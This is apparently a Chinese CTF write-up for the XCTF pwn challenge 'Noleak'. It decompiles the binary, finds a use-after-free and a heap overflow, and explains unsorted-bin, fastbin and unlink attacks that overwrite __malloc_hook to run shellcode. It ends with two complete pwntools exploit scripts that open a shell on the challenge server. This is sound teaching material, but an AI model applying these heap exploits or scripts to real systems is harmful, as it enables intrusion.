Noleak(xctf)

原创

whiteh4nd 于 2020-08-19 20:27:51 发布 290 收藏 1

分类专栏： # xctf(pwn高手区) CTF

本文链接：https://blog.csdn.net/weixin_43868725/article/details/108109807

xctf(pwn高手区) 同时被 2 个专栏收录

27 篇文章 0 订阅

订阅专栏

CTF

41 篇文章 0 订阅

订阅专栏

0x0 程序保护和流程

保护：

```
[*] '/home/whitehand/Desktop/a'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

流程：

main()

```
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
  int v3; // eax

  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = get_number();
      if ( v3 != 2 )
        break;
      delete();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        update();
      }
      else
      {
        if ( v3 == 4 )
          exit(1);
LABEL_12:
        write_str("Wrong choice\n", 0xDu);
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_12;
      create();
    }
  }
}
```


create()

```
void create()
{
  signed int i; // [rsp+0h] [rbp-10h]
  int nbytes; // [rsp+4h] [rbp-Ch]
  void *nbytes_4; // [rsp+8h] [rbp-8h]

  write_str("Size: ", 6u);
  nbytes = get_number();
  nbytes_4 = malloc(nbytes);
  if ( nbytes_4 )
  {
    for ( i = 0; i <= 9 && buf[i]; ++i )
      ;
    if ( i == 10 )
    {
      write_str("List is Full!\n", 0xEu);
      free(nbytes_4);
    }
    else
    {
      write_str("Data: ", 6u);
      read(0, nbytes_4, (unsigned int)nbytes);
      buf[i] = nbytes_4;
    }
  }
}
```


delete()

```
void delete()
{
  unsigned int v0; // [rsp+Ch] [rbp-4h]

  write_str("Index: ", 7u);
  v0 = get_number();
  if ( v0 <= 9 )
    free(buf[v0]);
}
```

free之后没有将指针置空，存在UAF。

edit()

```
int update()
{
  void *v0; // rax
  unsigned int nbytes; // ST0C_4
  int v3; // [rsp+8h] [rbp-8h]

  write_str("Index: ", 7u);
  LODWORD(v0) = get_number();
  v3 = (signed int)v0;
  if ( (unsigned int)v0 <= 9 )
  {
    v0 = buf[(unsigned int)v0];
    if ( v0 )
    {
      write_str("Size: ", 6u);
      nbytes = get_number();
      write_str("Data: ", 6u);
      LODWORD(v0) = read(0, buf[v3], nbytes);
    }
  }
  return (signed int)v0;
}
```


没有对输入数据的大小作出限制，存在堆溢出。

0x1 利用过程

1.题目中的got表不可写，又没有输出函数，无法泄露地址，但是堆栈上可以执行代码，所以需要一个可执行的指针变量指向shellcode的地址，才能够执行shellcode。

2.可以使用Unsorted bin attack改写buf中指向chunk的地址为main_arena的地址，之后通过update将buf中的存储的数据改成malloc_hook的地址，之后向malloc_hook中写入shellcode的起始地址，之后再次执行malloc函数就可以完成getshell了。

3.因为要将修改malloc_hook中的数据，所以需要malloc_hook的地址。而malloc_hook的地址可以在libc中找到。

```
.data:00000000003C4B10 __malloc_hook   dq offset sub_85830     ; DATA XREF: LOAD:000000000000A380↑o
.data:00000000003C4B10                                         ; .got:__malloc_hook_ptr↑o
.data:00000000003C4B18                 align 20h
.data:00000000003C4B20 dword_3C4B20    dd 0                    ; DATA XREF: sub_7D910:loc_7DB8E↑o
.data:00000000003C4B20                                         ; sub_7D910+341↑o ...
.data:00000000003C4B24 dword_3C4B24    dd 0                    ; DATA XREF: sub_7DEB0:loc_7DEEE↑r
```

这时再看向malloc_trim函数

反汇编

```
__int64 __fastcall malloc_trim(__int64 a1)
{
  bool v3; // zf
  int v4; // er10
  volatile signed __int32 *v5; // rdx
  unsigned __int64 v7; // r15
  unsigned __int64 v8; // r12
  signed __int64 v9; // rcx
  signed int v10; // ebp
  unsigned __int64 v11; // r15
  signed __int64 v12; // r14
  unsigned __int64 v13; // r13
  __int64 i; // rbx
  unsigned __int64 v15; // rdi
  int v16; // eax
  unsigned __int64 v17; // r12
  unsigned __int64 v18; // r12
  unsigned __int64 v19; // r12
  signed int v20; // eax
  int v21; // ST90_4
  volatile signed __int32 *v22; // [rsp+8h] [rbp-50h]
  signed int v23; // [rsp+10h] [rbp-48h]
  unsigned int v24; // [rsp+14h] [rbp-44h]
  __int64 v25; // [rsp+18h] [rbp-40h]

  v25 = a1;
  if ( dword_3C4144 < 0 )
    sub_85460();
  v24 = 0;
  v22 = &dword_3C4B20;
```


源码

```
int
__malloc_trim (size_t s)
{
  int result = 0;

  if (__malloc_initialized < 0)
    ptmalloc_init ();

  mstate ar_ptr = &main_arena;
  do
    {
      (void) mutex_lock (&ar_ptr->mutex);
      result |= mtrim (ar_ptr, s);
      (void) mutex_unlock (&ar_ptr->mutex);

      ar_ptr = ar_ptr->next;
    }
  while (ar_ptr != &main_arena);

  return result;
}
```


可以知道在main_arena-0x10就是malloc_hook的地址，而Unsorted bin在free之后的fd和bk都会指向main_arena附近的地址。并且当Unsorted bin取出的时候，会将bck->fd的位置写入Unsorted bin的链表头部的地址。

```
/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
```

只要能够在Unsorted bin释放之后修改其bk字段，就能在下一次申请大小合适的堆块时，将*bk+0x10处的值改为Unsorted bin的链表头部的地址。又因为程序加载进内存是按页加载，页表大小为4096=2^{12}=2^4*2^{4*2}4 (getconf PAGE_SIZE可以查看页表大小)，所以低三位是不会改变的，因此只需要向*bk+0x10的位置写入'\x10'，就可以使得*bk+0x10指向malloc_hook了。

3.通过以上分析，最后只需要一个可以控制的指针即可完成整个过程，所以可以通过Unlink或者Fast bin Attack将buf中的值修改为&buf再配合程序给出的update函数就可以getshell了。

Fast bin Attack：

先介绍Fastbin中最关键的检测机制，_int_malloc 会对欲分配位置的 size 域进行验证，如果其 size 与当前 fast bin 链表应有 size 不符就会抛出异常。

```
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
    {
      errstr = "malloc(): memory corruption (fast)";
    errout:
      malloc_printerr (check_action, errstr, chunk2mem (victim));
      return NULL;
}
```

所以对于Fast bin的利用必须要注意size位的判断。所以在这种利用方式下需要找到一个固定的值，并且这个值的大小在需要在Fast bin中并且与索引对应的大小要一致。

要想将fast bin分配到bss段，需要一个比较固定的值，而一般libc的高位是0x7f其大小符合Fast bin，所以先利用Unsorted bin Attack给出一个高地址。

```
# Unsorted bin
create(0x100,'index0')
# Fastbin bin,size=0x70即可
create(0x60,'index1')
# 防止被top chunk合并
create(0x10,'index2')
delete(0)
payload=p64(0)+p64(0x601058)
update(0,payload)
create(0x100,'index3')
```

```
pwndbg> x/20xg 0x601020
0x601020:       0x0000000000000000      0x0000000000000000
0x601030:       0x0000000000000000      0x0000000000000000
0x601040:       0x000000000189b010      0x000000000189b120
0x601050:       0x000000000189b190      0x000000000189b010
0x601060:       0x0000000000000000      0x00007fd7dce29b78
```

可以通过字节错位将0x7f构造出来。

```
pwndbg> x/10xg 0x601065
0x601065:       0xd7dce29b78000000      0x000000000000007f
```

修改Fastbin bin的fd为0x601065。

```
delete(1)
update(1,p64(0x601065))
```

```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x189b110 —▸ 0x601065 ◂— 0
0x80: 0x0
```

连续分配两个大小位于0x70。

```
create(0x60,'index4')
# 向0x601065处写入数据，加3个字节对齐
payload='aaa'+p64(0x601068)+p64(0x601090)
create(0x60,payload) # 5
```

此时buf处的数据。

```
pwndbg> x/20xg 0x601030
0x601030:       0x0000000000000000      0x0000000000000000
0x601040:       0x000000000189b010      0x000000000189b120
0x601050:       0x000000000189b190      0x000000000189b010
0x601060:       0x000000000189b120      0x00007fd7dce29b78
0x601070:       0x0000000000601075      0x0000000000601068
0x601080:       0x0000000000601090      0x0000000000000000
```

现在可以通过索引7将0x601068处修改为'\x10'使之指向malloc_hook，之后将malloc_hook处改写为shellcode的起始地址，这里选择0x601090，之后向0x601090处写入shellcode。

```
update(7,'\x10')
update(5,p64(0x601090))
update(8,shellcode)
```

之后调用malloc就会执行shellcode。

Unlink：

先创建两个堆块然后释放，目的是获得一个指向已释放堆块的指针。

```
create(0x100,'index0')
create(0x100,'index1') # free
delete(0)
delete(1)
```

之后新建一个大小可以覆盖index1的pre_size和size字段的堆块，之后再次释放index1

```
payload=p64(0)+p64(0x101)+p64(heap-0x18)+p64(heap-0x10)+'a'*(0x100-0x20)+p64(0x100)+p64(0x100)
create(0x200,payload) #index2
delete(1)
```

创建完成之后堆块中的数据。

```
pwndbg> x/100xg 0x609000
0x609000:       0x0000000000000000      0x0000000000000211
0x609010:       0x0000000000000000      0x0000000000000101
0x609020:       0x0000000000601028      0x0000000000601030
0x609030:       0x6161616161616161      0x6161616161616161
0x609040:       0x6161616161616161      0x6161616161616161
0x609050:       0x6161616161616161      0x6161616161616161
0x609060:       0x6161616161616161      0x6161616161616161
0x609070:       0x6161616161616161      0x6161616161616161
0x609080:       0x6161616161616161      0x6161616161616161
0x609090:       0x6161616161616161      0x6161616161616161
0x6090a0:       0x6161616161616161      0x6161616161616161
0x6090b0:       0x6161616161616161      0x6161616161616161
0x6090c0:       0x6161616161616161      0x6161616161616161
0x6090d0:       0x6161616161616161      0x6161616161616161
0x6090e0:       0x6161616161616161      0x6161616161616161
0x6090f0:       0x6161616161616161      0x6161616161616161
0x609100:       0x6161616161616161      0x6161616161616161
0x609110:       0x0000000000000100      0x0000000000000100
0x609120:       0x000a317865646e0a      0x0000000000000000
0x609130:       0x0000000000000000      0x0000000000000000
0x609140:       0x0000000000000000      0x0000000000000000
0x609150:       0x0000000000000000      0x0000000000000000
0x609160:       0x0000000000000000      0x0000000000000000
0x609170:       0x0000000000000000      0x0000000000000000
0x609180:       0x0000000000000000      0x0000000000000000
0x609190:       0x0000000000000000      0x0000000000000000
0x6091a0:       0x0000000000000000      0x0000000000000000
0x6091b0:       0x0000000000000000      0x0000000000000000
0x6091c0:       0x0000000000000000      0x0000000000000000
0x6091d0:       0x0000000000000000      0x0000000000000000
0x6091e0:       0x0000000000000000      0x0000000000000000
0x6091f0:       0x0000000000000000      0x0000000000000000
0x609200:       0x0000000000000000      0x0000000000000000
0x609210:       0x0000000000000000      0x0000000000020df1
```


此时index1指向0x609110。

```
pwndbg> x/20xg 0x601040
0x601040:       0x0000000000609010      0x0000000000609120
0x601050:       0x0000000000609010      0x0000000000000000
```

如果此时再次释放index1会进行double free的检查对0x609210=0x60110+0x100(size)，发现处于未释放状态。之后查看是否可以进行合并，发现处于释放状态，先前合并，进行Unlink中的检查。这里就不进行仔细分析Unlink了。这样就完成了将buf中的值修改为&buf附近的值。

```
pwndbg> x/20xg 0x601020
0x601020:       0x0000000000000000      0x0000000000000000
0x601030:       0x0000000000000000      0x0000000000000000
0x601040:       0x0000000000601028      0x0000000000609120
0x601050:       0x0000000000609010      0x0000000000000000
```

之后就和Fast bin Attack差不多了。

0x2 exp

Fast bin Attack：

```python
from pwn import *
context(os='linux',arch='amd64')
local=0
if local:
    sh=process('./a')
else:
    sh=remote('220.249.52.133','36356')

shellcode=asm(shellcraft.sh())

def create(size,data):
    sh.sendlineafter('Your choice :','1')
    sh.sendlineafter('Size: ',str(size))
    sh.sendafter('Data: ',data)

def delete(index):
    sh.sendlineafter('Your choice :','2')
    sh.sendlineafter('Index: ',str(index))

def update(index,data):
    sh.sendlineafter('Your choice :','3')
    sh.sendlineafter('Index: ',str(index))
    sh.sendlineafter('Size: ',str(len(data)))
    sh.sendafter('Data: ',data)

def exit():
    sh.sendlineafter('Your choice :','4')

create(0x100,'index0')
create(0x60,'index1')
create(0x10,'index2')
delete(0)
payload=p64(0)+p64(0x601058)
update(0,payload)
create(0x100,'index3')
delete(1)
update(1,p64(0x601065))
create(0x60,'index4')
payload='aaa'+p64(0x601068)+p64(0x601090)
create(0x60,payload) # index5
update(7,'\x10')
update(5,p64(0x601090))
update(8,shellcode)
sh.sendlineafter('choice :', '1')
sh.sendlineafter('Size', '1')
sh.interactive()
```

Unlink：

```python
from pwn import *
context(os='linux',arch='amd64')
local=0
if local:
    sh=process('./a')
else:
    sh=remote('220.249.52.133','36356')

shellcode=asm(shellcraft.sh())
heap=0x601040

def create(size,data):
    sh.sendlineafter('Your choice :','1')
    sh.sendlineafter('Size: ',str(size))
    sh.sendlineafter('Data: ',data)

def delete(index):
    sh.sendlineafter('Your choice :','2')
    sh.sendlineafter('Index: ',str(index))

def update(index,data):
    sh.sendlineafter('Your choice :','3')
    sh.sendlineafter('Index: ',str(index))
    sh.sendlineafter('Size: ',str(len(data)))
    sh.sendafter('Data: ',data)

def exit():
    sh.sendlineafter('Your choice :','4')

create(0x100,'index0')
create(0x100,'index1') # free
delete(0)
delete(1)
payload=p64(0)+p64(0x101)+p64(heap-0x18)+p64(heap-0x10)+'a'*(0x100-0x20)+p64(0x100)+p64(0x100)
create(0x200,payload) #index2
delete(1)

create(0x100,'index3')
create(0x10,'index4')
delete(3)
payload=p64(0)+p64(0x601058)
update(3,payload)
create(0x100,'index5')

payload=p64(0)*3+p64(0x601080)+p64(0)*4+'\x10'
update(0,payload)

update(5,p64(0x601080))
update(0,shellcode)
sh.sendlineafter('choice :', '1')
sh.sendlineafter('Size', '1')
sh.interactive()
```